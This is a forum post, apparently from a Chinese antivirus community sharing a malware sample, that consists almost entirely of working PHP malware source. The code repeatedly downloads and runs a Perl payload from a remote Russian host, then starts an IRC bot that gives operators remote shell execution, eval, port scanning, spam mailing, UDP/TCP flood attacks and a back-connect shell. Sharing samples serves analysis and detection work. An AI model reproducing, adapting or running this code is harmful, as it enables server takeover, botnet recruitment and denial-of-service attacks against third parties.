查看: 1581|回复: 0
收起左侧

[其它] http://sun-tur.ru/shop/images/byroe.jpg

 关闭 [复制链接]
是昔流芳
发表于 2011-8-1 16:47:37 | 显示全部楼层 |阅读模式
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);

  4. $url[2] = "http://www.sun-tur.ru/shop/images/sts.pl";
  5. $sfe[2] = "xxx";
  6. exec(); shell_exec(); system(); passthru();
  7. exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  8. exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  9. exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  10. exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  11. exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  12. exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  13. shell_exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  14. shell_exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  15. shell_exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  16. shell_exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  17. shell_exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  18. shell_exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  19. system("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  20. system("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  21. system("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  22. system("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  23. system("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  24. system("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  25. passthru("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  26. passthru("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  27. passthru("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  28. passthru("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  29. passthru("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  30. passthru("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
  31. //-- /tmp
  32. exec("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  33. exec("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  34. exec("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  35. exec("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  36. exec("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  37. exec("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  38. shell_exec("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  39. shell_exec("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  40. shell_exec("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  41. shell_exec("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  42. shell_exec("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  43. shell_exec("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  44. system("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  45. system("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  46. system("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  47. system("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  48. system("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  49. system("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  50. passthru("wget ".$url[2]." -O /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  51. passthru("fetch -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  52. passthru("cUrl -O /tmp/".$sfe[2]." ".$url[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  53. passthru("lynx -dump ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  54. passthru("GET ".$url[2].">/tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  55. passthru("lwp-download ".$url[2]." /tmp/".$sfe[2]."; chmod 755 /tmp/".$sfe[2]."; perl /tmp/".$sfe[2]."*");
  56. //-- /var/tmp
  57. exec("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  58. exec("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  59. exec("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  60. exec("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  61. exec("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  62. exec("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  63. shell_exec("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  64. shell_exec("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  65. shell_exec("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  66. shell_exec("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  67. shell_exec("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  68. shell_exec("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  69. system("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  70. system("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  71. system("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  72. system("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  73. system("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  74. system("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  75. passthru("wget ".$url[2]." -O /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  76. passthru("fetch -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  77. passthru("cUrl -O /var/tmp/".$sfe[2]." ".$url[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  78. passthru("lynx -dump ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  79. passthru("GET ".$url[2].">/var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");
  80. passthru("lwp-download ".$url[2]." /var/tmp/".$sfe[2]."; chmod 755 /var/tmp/".$sfe[2]."; perl /var/tmp/".$sfe[2]."*");

  81. set_time_limit(0);
  82. error_reporting(0);
  83. echo "ok!";

  84. class pBot
  85. {
  86. var $config = array("server"=>"irc.pasbar.com",
  87.                      "port"=>"6667",
  88.                      "pass"=>"*",
  89.                      "prefix"=>"PunK|",
  90.                      "maxrand"=>"5",
  91.                      "chan"=>"#fx29sh",
  92.                      "chan2"=>"#fx29sh",
  93.                      "key"=>"on",
  94.                      "modes"=>"+p",
  95.                      "password"=>"culo",
  96.                      "trigger"=>".",
  97.                      "hostauth"=>"e.punk.io" // * for any hostname ( remember: /setvhost lAgi.seRius.sCan )
  98.                      );
  99. var $users = array();
  100. function start()
  101. {
  102.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  103.        $this->start();
  104.     $ident = $this->config['prefix'];
  105.     $alph = range("0","100");
  106.     for($i=0;$i<$this->config['maxrand'];$i++)
  107.        $ident .= $alph[rand(0,100)];
  108.     if(strlen($this->config['pass'])>0)
  109.        $this->send("PASS ".$this->config['pass']);
  110.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  111.     $this->set_nick();
  112.     $this->main();
  113. }
  114. function main()
  115. {
  116.     while(!feof($this->conn))
  117.     {
  118.        $this->buf = trim(fgets($this->conn,512));
  119.        $cmd = explode(" ",$this->buf);
  120.        if(substr($this->buf,0,6)=="PING :")
  121.        {
  122.           $this->send("PONG :".substr($this->buf,6));
  123.        }
  124.        if(isset($cmd[1]) && $cmd[1] =="001")
  125.        {
  126.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  127.           $this->join($this->config['chan'],$this->config['key']);
  128.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  129.           else { $safemode = "off"; }
  130.           $uname = php_uname();
  131.           $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  132.           $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  133.        }
  134.        if(isset($cmd[1]) && $cmd[1]=="433")
  135.        {
  136.           $this->set_nick();
  137.        }
  138.        if($this->buf != $old_buf)
  139.        {
  140.           $mcmd = array();
  141.           $msg = substr(strstr($this->buf," :"),2);
  142.           $msgcmd = explode(" ",$msg);
  143.           $nick = explode("!",$cmd[0]);
  144.           $vhost = explode("@",$nick[1]);
  145.           $vhost = $vhost[1];
  146.           $nick = substr($nick[0],1);
  147.           $host = $cmd[0];
  148.           if($msgcmd[0]==$this->nick)
  149.           {
  150.            for($i=0;$i<count($msgcmd);$i++)
  151.               $mcmd[$i] = $msgcmd[$i+1];
  152.           }
  153.           else
  154.           {
  155.            for($i=0;$i<count($msgcmd);$i++)
  156.               $mcmd[$i] = $msgcmd[$i];
  157.           }
  158.           if(count($cmd)>2)
  159.           {
  160.              switch($cmd[1])
  161.              {
  162.                 case "QUIT":
  163.                    if($this->is_logged_in($host))
  164.                    {
  165.                       $this->log_out($host);
  166.                    }
  167.                 break;
  168.                 case "PART":
  169.                    if($this->is_logged_in($host))
  170.                    {
  171.                       $this->log_out($host);
  172.                    }
  173.                 break;
  174.                 case "PRIVMSG":
  175.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  176.                    {
  177.                       if(substr($mcmd[0],0,1)==".")
  178.                       {
  179.                          switch(substr($mcmd[0],1))
  180.                          {
  181.                             case "user":
  182.                               if($mcmd[1]==$this->config['password'])
  183.                               {
  184.                                  $this->log_in($host);
  185.                               }
  186.                               else
  187.                               {
  188.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
  189.                               }
  190.                             break;
  191.                          }
  192.                       }
  193.                    }
  194.                    elseif($this->is_logged_in($host))
  195.                    {
  196.                       if(substr($mcmd[0],0,1)==".")
  197.                       {
  198.                          switch(substr($mcmd[0],1))
  199.                          {
  200.                             case "restart":
  201.                                $this->send("QUIT :restart commando from $nick");
  202.                                fclose($this->conn);
  203.                                $this->start();
  204.                             break;
  205.                             case "mail": //mail to from subject message
  206.                                if(count($mcmd)>4)
  207.                                {
  208.                                   $header = "From: <".$mcmd[2].">";
  209.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  210.                                   {
  211.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  212.                                   }
  213.                                   else
  214.                                   {
  215.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  216.                                   }
  217.                                }
  218.                             break;
  219.                             case "safe":
  220.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  221.                                {
  222.                                $safemode = "on";
  223.                                }
  224.                                else {
  225.                                $safemode = "off";
  226.                                }
  227.                                $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  228.                             break;
  229.                             case "inbox": //teste inbox
  230.                                if(isset($mcmd[1]))
  231.                                {
  232.                                   $token = md5(uniqid(rand(), true));
  233.                                   $header = "From: <inbox".$token."@xdevil.org>";
  234.                                   $a = php_uname();
  235.                                   $b = getenv("SERVER_SOFTWARE");
  236.                                   $c = gethostbyname($_SERVER["HTTP_HOST"]);
  237.                                   if(!mail($mcmd[1],"InBox Test","#nogRod. since 2008\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."\n\ngreetz: irc.udplink.net\nNOGROD OWNZ",$header))
  238.                                   {
  239.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  240.                                   }
  241.                                   else
  242.                                   {
  243.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  244.                                   }
  245.                                }
  246.                             break;
  247.                             case "conback":
  248.                                if(count($mcmd)>2)
  249.                                {
  250.                                   $this->conback($mcmd[1],$mcmd[2]);
  251.                                }
  252.                             break;
  253.                             case "dns":
  254.                                if(isset($mcmd[1]))
  255.                                {
  256.                                   $ip = explode(".",$mcmd[1]);
  257.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  258.                                   {
  259.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  260.                                   }
  261.                                   else
  262.                                   {
  263.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  264.                                   }
  265.                                }
  266.                             break;
  267.                             case "info":
  268.                             case "vunl":
  269.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  270.                                else { $safemode = "off"; }
  271.                                $uname = php_uname();
  272.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  273.                                $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  274.                             break;
  275.                             case "bot":
  276.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; NOGROD.");
  277.                             break;
  278.                             case "uname":
  279.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  280.                                else { $safemode = "off"; }
  281.                                $uname = php_uname();
  282.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  283.                             break;
  284.                             case "rndnick":
  285.                                $this->set_nick();
  286.                             break;
  287.                             case "raw":
  288.                                $this->send(strstr($msg,$mcmd[1]));
  289.                             break;
  290.                             case "eval":
  291.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  292.                             break;
  293.                                         case "sexec":
  294.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  295.                                $exec = shell_exec($command);
  296.                                $ret = explode("\n",$exec);
  297.                                for($i=0;$i<count($ret);$i++)
  298.                                   if($ret[$i]!=NULL)
  299.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  300.                             break;

  301.                             case "exec":
  302.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  303.                                $exec = exec($command);
  304.                                $ret = explode("\n",$exec);
  305.                                for($i=0;$i<count($ret);$i++)
  306.                                   if($ret[$i]!=NULL)
  307.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  308.                             break;

  309.                             case "passthru":
  310.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  311.                                $exec = passthru($command);
  312.                                $ret = explode("\n",$exec);
  313.                                for($i=0;$i<count($ret);$i++)
  314.                                   if($ret[$i]!=NULL)
  315.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  316.                             break;

  317.                             case "popen":
  318.                                if(isset($mcmd[1]))
  319.                                {
  320.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  321.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  322.                                   $pipe = popen($command,"r");
  323.                                   while(!feof($pipe))
  324.                                   {
  325.                                      $pbuf = trim(fgets($pipe,512));
  326.                                      if($pbuf != NULL)
  327.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  328.                                   }
  329.                                   pclose($pipe);
  330.                                }  

  331.                             case "system":
  332.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  333.                                $exec = system($command);
  334.                                $ret = explode("\n",$exec);
  335.                                for($i=0;$i<count($ret);$i++)
  336.                                   if($ret[$i]!=NULL)
  337.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  338.                             break;

  339.                             case "pscan": // .pscan 127.0.0.1 6667
  340.                                if(count($mcmd) > 2)
  341.                                {
  342.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  343.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  344.                                   else
  345.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  346.                                }
  347.                             break;
  348.                             case "ud.server": // .ud.server <server> <port> [password]
  349.                                if(count($mcmd)>2)
  350.                                {
  351.                                   $this->config['server'] = $mcmd[1];
  352.                                   $this->config['port'] = $mcmd[2];
  353.                                   if(isset($mcmcd[3]))
  354.                                   {
  355.                                    $this->config['pass'] = $mcmd[3];
  356.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  357.                                   }
  358.                                   else
  359.                                   {
  360.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  361.                                   }
  362.                                }
  363.                             break;
  364.                             case "download":
  365.                                if(count($mcmd) > 2)
  366.                                {
  367.                                   if(!$fp = fopen($mcmd[2],"w"))
  368.                                   {
  369.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
  370.                                   }
  371.                                   else
  372.                                   {
  373.                                      if(!$get = file($mcmd[1]))
  374.                                      {
  375.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  376.                                      }
  377.                                      else
  378.                                      {
  379.                                         for($i=0;$i<=count($get);$i++)
  380.                                         {
  381.                                            fwrite($fp,$get[$i]);
  382.                                         }
  383.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  384.                                      }
  385.                                      fclose($fp);
  386.                                   }
  387.                                }
  388.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  389.                             break;
  390.                             case "die":
  391.                                $this->send("QUIT :die command from $nick");
  392.                                fclose($this->conn);
  393.                                exit;
  394.                             case "logout":
  395.                                $this->log_out($host);
  396.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  397.                             break;
  398.                             case "udpflood":
  399.                                if(count($mcmd)>3)
  400.                                {
  401.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  402.                                }
  403.                             break;
  404.                             case "tcpflood":
  405.                                if(count($mcmd)>5)
  406.                                {
  407.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  408.                                }
  409.                             break;
  410.                          }
  411.                       }
  412.                    }
  413.                 break;
  414.              }
  415.           }
  416.        }
  417.        $old_buf = $this->buf;
  418.     }
  419.     $this->start();
  420. }
  421. function send($msg)
  422. {
  423.     fwrite($this->conn,"$msg\r\n");

  424. }
  425. function join($chan,$key=NULL)
  426. {
  427.     $this->send("JOIN $chan $key");
  428. }
  429. function privmsg($to,$msg)
  430. {
  431.     $this->send("PRIVMSG $to :$msg");
  432. }
  433. function notice($to,$msg)
  434. {
  435.     $this->send("NOTICE $to :$msg");
  436. }
  437. function is_logged_in($host)
  438. {
  439.     if(isset($this->users[$host]))
  440.        return 1;
  441.     else
  442.        return 0;
  443. }
  444. function log_in($host)
  445. {
  446.     $this->users[$host] = true;
  447. }
  448. function log_out($host)
  449. {
  450.     unset($this->users[$host]);
  451. }
  452. function set_nick()
  453. {
  454.     if(isset($_SERVER['SERVER_SOFTWARE']))
  455.     {
  456.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  457.           $this->nick = "[A]";
  458.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  459.           $this->nick = "[I]";
  460.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  461.           $this->nick = "[X]";
  462.        else
  463.           $this->nick = "[U]";
  464.     }
  465.     else
  466.     {
  467.        $this->nick = "[C]";
  468.     }
  469.     $this->nick .= $this->config['prefix'];
  470.     for($i=0;$i<$this->config['maxrand'];$i++)
  471.        $this->nick .= mt_rand(0,9);
  472.     $this->send("NICK ".$this->nick);
  473. }
  474.   function udpflood($host,$packetsize,$time) {
  475.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  476.         $packet = "";
  477.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  478.         $timei = time();
  479.         $i = 0;
  480.         while(time()-$timei < $time) {
  481.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  482.         fwrite($fp,$packet);
  483.         fclose($fp);
  484.                 $i++;
  485.         }
  486.         $env = $i * $packetsize;
  487.         $env = $env / 1048576;
  488.         $vel = $env / $time;
  489.         $vel = round($vel);
  490.         $env = round($env);
  491.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  492. }

  493. function tcpflood($host,$packets,$packetsize,$port,$delay)
  494. {
  495.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  496.     $packet = "";
  497.     for($i=0;$i<$packetsize;$i++)
  498.        $packet .= chr(mt_rand(1,256));
  499.     for($i=0;$i<$packets;$i++)
  500.     {
  501.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  502.        {
  503.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  504.           return 0;
  505.        }
  506.        else
  507.        {
  508.           fwrite($fp,$packet);
  509.           fclose($fp);
  510.        }
  511.        sleep($delay);
  512.     }
  513.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  514. }
  515. function conback($ip,$port)
  516. {
  517.     $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  518.     $dc_source = "";
  519.     if (is_writable("/tmp"))
  520.     {
  521.       if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  522.       $fp=fopen("/tmp/dc.pl","w");
  523.       fwrite($fp,base64_decode($dc_source));
  524.       passthru("perl /tmp/dc.pl $ip $port &");
  525.       unlink("/tmp/dc.pl");
  526.     }
  527.     else
  528.     {
  529.     if (is_writable("/var/tmp"))
  530.     {
  531.       if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  532.       $fp=fopen("/var/tmp/dc.pl","w");
  533.       fwrite($fp,base64_decode($dc_source));
  534.       passthru("perl /var/tmp/dc.pl $ip $port &");
  535.       unlink("/var/tmp/dc.pl");
  536.     }
  537.     if (is_writable("."))
  538.     {
  539.       if (file_exists("dc.pl")) { unlink("dc.pl"); }
  540.       $fp=fopen("dc.pl","w");
  541.       fwrite($fp,base64_decode($dc_source));
  542.       passthru("perl dc.pl $ip $port &");
  543.       unlink("dc.pl");
  544.     }
  545.     }
  546.   }

  547. }

  548. $bot = new pBot;
  549. $bot->start();

  550. ?>
复制代码
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-1 06:46 , Processed in 0.130185 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表